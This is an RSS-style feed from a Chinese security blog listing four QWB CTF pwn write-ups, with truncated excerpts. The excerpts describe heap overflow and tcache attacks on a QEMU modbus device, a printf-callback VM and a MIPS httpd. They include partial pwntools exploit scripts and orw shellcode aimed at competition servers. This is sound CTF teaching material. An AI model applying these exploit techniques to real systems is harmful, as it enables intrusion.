赤道企鹅的博客 | Eqqie Blog - 强网杯
type: channel
link: https://eqqie.cn/index.php/category/qwb/
description: 强网杯
items: [QWB 2025] Pwn - babybus
items: [强网杯S8 线上] Pwn - prpr
items: [强网杯 2021 Final] qwbhttpd 解题思路
items: [强网杯2021-线上赛] Pwn方向writeup

[QWB 2025] Pwn - babybus
type: item
date: 2025-11-04T23:57:00+08:00
description: 2nd Blood题目的启动脚本中把 modbus 工控协议对应的虚拟设备的 I/O 直接暴露到 socket I/O上，并且关闭了其它所有设备，所以本质上是直接对这个设备模型的漏洞利用，只不过放在了 QEMU 环境里。关于 modbus 的报文协议细节直接询问 AI 就能得到非常详细的答复，LLM 把了解一个未知协议运作的门槛降低了好几个数量级。modbus 协议报文读寄存器# RTU Function 0x03: Read Holding Registers Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]写寄存器# RTU Function 0x10: Write Multiple Registers Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes分析设备的 realize 函数如下：其中 mbusTransmitDataHandler 回调函数是主要关注对象，它调用了 mbusPorcessBuf 进行具体的报文处理：mbusPorcessBuf 主逻辑和其中两个负责读写寄存器的函数如下：审计 mbusProcessBuf 逻辑主要发现三个漏洞点：在 mbus 的读寄存器函数中，qty+start 被强制转换为 uint16 导致越界；在 mbus 的读寄存器函数中，malloc((unsigned int8)(2*qty)+5) 把 uint16 强制下转换到 uint8，可能导致实际申请的空间比读写空间小，发生堆上溢出写；类似的，在 mbus 的写寄存器函数中，qty+start 被强制转换为 uint16 导致越界；利用因此，利用 mbus 协议读寄存器产生的堆越界读能力，泄露 &obj->regs[0] 开始的 0x10000 字节内存，能够在特定 offset 上得到 libc，ELF，heap 地址；利用 malloc 调用机会和越界写能力，攻击 tcache，布置 0xa0，0xb0，0xc0 大小三个连续堆块的 size 和 next，可以构造任意 malloc 原语。但是任意 malloc 紧接着一个 free，所以任意 malloc 的目标地址必须符合合法堆块 size 检查；然后劫持通信使用的 obj（设备对象）堆块。在 0xa0 偏移开始有三个在设备 realize 时就注册好的回调函数指针，劫持 0xb0 偏移的指针，可以发现调用该函数指针时，rdi 为 0xc0 偏移处的 8 字节。由于 QEMU 运行环境的 system 带有 cloexec FLAG（启动子程序时关闭已有 fd），所以重定向不太能用，而且远程尝试反弹 shell 不出网；最后通过 strace 发现读写网络 I/O 的 fd 为 10，于是干脆用 setcontext 走 mprotect 执行 shellcode 实现 open("flag", 0) => sendfile(out_fd=10, ...) 效果，在远程环境下试了几次即可拿到flag；EXP完整 EXP：from pwn import * context.arch = 'amd64' # context.log_level = 'debug' # p = remote("127.0.0.1", 1503) # p = remote("127.0.0.1", 1502) p=remote("8.147.132.101",30721) # crc16 def crc16(data: bytes): crc = 0xFFFF for b in data: crc ^= b for _ in range(8): if (crc & 0x0001) != 0: crc >>= 1 crc ^= 0xA001 else: crc >>= 1 return crc # RTU Function 0x03: Read Holding Registers def read_reg(addr: int, start: int=0, qty: int=1): # Req: [addr][0x03][sta…

[强网杯S8 线上] Pwn - prpr
type: item
date: 2024-11-08T11:01:00+08:00
description: 又是一年强网杯，很多网安人都要完成的完成 KPI...捡了个二血，就做了这题，别的没咋看题目附件：通过百度网盘分享的文件：prpr.zip链接：https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60 提取码：hs60分析程序为 printf 注册了很多回调，在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数题目使用这个机制实现了一个 VM，VM 对应的格式化字符串 vmcode 在全局段上，dump如下：[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%…

[强网杯 2021 Final] qwbhttpd 解题思路
type: item
date: 2021-07-12T17:06:00+08:00
description: ExperienceReverse"Login" function analysis"Encode" function analysisExploitSeveral waysone_gadget ×do_read_file ×leak ×rewrite got & shellcode √Write shellcodeFull expSummaryExperience这是一个32bit MIPS大端序的httpd。比赛过程挺曲折的，一开始本地调试用的qemu-user没管随机化问题，于是通过在uClibc中手动审计找了一个类似one_gadget的东西拿了shell。但是后来试了试发现远程起在qemu-system，于是就索性试试1/4096看能不能爆到——很遗憾没有hhh。知道远程有随机化后我尝试过几个思路，但是都是差最后一点没构造成功Reverse程序主要逻辑其实就是：解析请求->handle URL->不可描述的一堆处理初步分析后，发现其中被能handle的请求有三种： GET请求/index.html 通过一个函数返回./index.html文件中的内容（这是我其中一个利用思路来源） if (iVar3 != 0) { if ((((req_filename._0_4_ != 0x2f696e64) || (req_filename._4_4_ != 0x65782e68)) || (req_filename._8_4_ != 0x746d6c00)) && (req_filename._0_2_ != 0x2f00)) { while ((vuln_ptr != (char *)0x0 && (line_buf._0_2_ != 0xa00))) { vuln_ptr = (char *)read_line(line_buf,0x400); } http_resp_404_notfound(); return; } do_read_file("./index.html"); return; POST请求/login.html 必须带有两个请求头：Content-Length 和 Content-WWidth 必须要满足：Content-Length == Content-WWidth*Content-WWidth*2 请求体大小为Content-Length，且由0，1串构成，其中可用空格和回车分割 GET请求/encode.html?info= 前提条件是已经完成login，login的状态保存在一个全局变量 如果已经login则会把info参数中的信息进行encode "Login" function analysis一开始的难点是分析程序如何解析login请求体的内容，主要实现在0x1250和0x5160中。通过查看0x5160所引用的一些常量中发现了两个东西： base45编码用的表： 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./: 一个奇怪的7x7矩阵： 1 1 1 1 1 1 1 1 0 0 0 0 0 1 1 0 1 1 1 0 1 1 0 1 1 1 0 1 1 0 1 1 1 0 1 1 0 0 0 0 0 1 1 1 1 1 1 1 1 从读取请求体的逻辑上看基本可以确定是读取的一个NxN矩阵，N值为Content-WWidth。在后续过程中程序用上述7x7矩阵和输入矩阵多个位置进行了比对。在查阅base45实现的过程中发现base45常常被用在某些二维码识别模块，遂恍然大悟：程序在做的其实是解析0，1串表示的二维码。上述比较过程其实就是确定二维码三个角上的定位点。我们只要将passwd用qrcode库编码后POST到/login.html即可实现登录。password前四位是启动时随机生成的，后四位是一个固定的程序地址。如果能能拿到passwd即同时完成了程序地址leak。观察二维码解码后处理的逻辑： if (((content_length - 1U < 0xb40) && (content_wwidth - 1U < 0x26)) && (content_wwidth * content_wwidth * 2 == content_length)) { set_glo_mem(0,content_wwidth); passwd._0_4_ = 0; passwd._4_4_ = 0; passwd._8_4_ = 0; passwd._12_4_ = 0; passwd._16_4_ = 0; passwd._20_4_ = 0; passwd._24_4_ = 0; passwd._28_4_ = 0; passwd._32_4_ = 0; str…

[强网杯2021-线上赛] Pwn方向writeup
type: item
date: 2021-06-17T17:09:00+08:00
description: 线上赛撞了四六级麻了hhhban完一堆队伍之后喜提线下hhhorwno_outputshellcodepipelinebabypwnnotebookorw堆有rwx权限，下标溢出写got函数为堆地址，在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flagfrom pwn import * #p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"}) p = remote("39.105.131.68", 12354) context.log_level = "debug" context.arch = "amd64" elf = ELF("./pwn") libc = ELF("./libc-2.23.so") def add(idx:int, size:int, content): p.sendlineafter(b"choice >>\n", b"1") p.sendlineafter(b"index:\n", str(idx).encode()) p.sendlineafter(b"size:\n", str(size).encode()) p.sendafter(b"content:\n", content) def delete(idx:int): p.sendlineafter(b"choice >>\n", b"4") p.sendlineafter(b"index:\n", str(idx).encode()) def exp(): #gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n") offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8 print("offset:", hex(offset)) shellcode_1 = ''' mov rsi, rdi; xor rax, rax; jmp $+0x1a; ''' shellcode_1 = asm(shellcode_1) shellcode_2 = ''' xor rdi, rdi; mov edx, ecx; syscall; ''' shellcode_2 = asm(shellcode_2) print("len(shellcode_1):", hex(len(shellcode_1))) print(shellcode_1) print("len(shellcode_2):", hex(len(shellcode_2))) print(shellcode_2) add(-offset, 8, shellcode_1) add(0, 8, shellcode_2.ljust(8, b"\x90")) delete(0) orw = ''' push 0; push 0x67616c66; mov rdi, rsp; mov rsi, 0; mov rax, 2; syscall; mov rdi, rax; mov rsi, rsp; mov rdx, 0xff; mov rax, 0; syscall; mov rdi, 0; mov rsi, rsp; mov rdx, 0xff; mov rax, 1; syscall; ''' p.send(b"\x90"*0x10+asm(orw)) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp() no_output这是个非预期解法，通过MIN_INT/-1触发异常handler实现栈溢出，构造ROP链借助check函数来侧信道爆破flagfrom pwn import * import time elf = ELF("./test") #context.log_level = "debug" context.arch = "i386" elf_open = elf.plt[b"open"] elf_read = elf.plt[b"read"] bss_secret = 0x804C034 flag_name = 0x804A0D3 bss_name = 0x804C060 table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?." final_flag = b"" def exp(guess, c_idx): global final_flag global p #p = pro…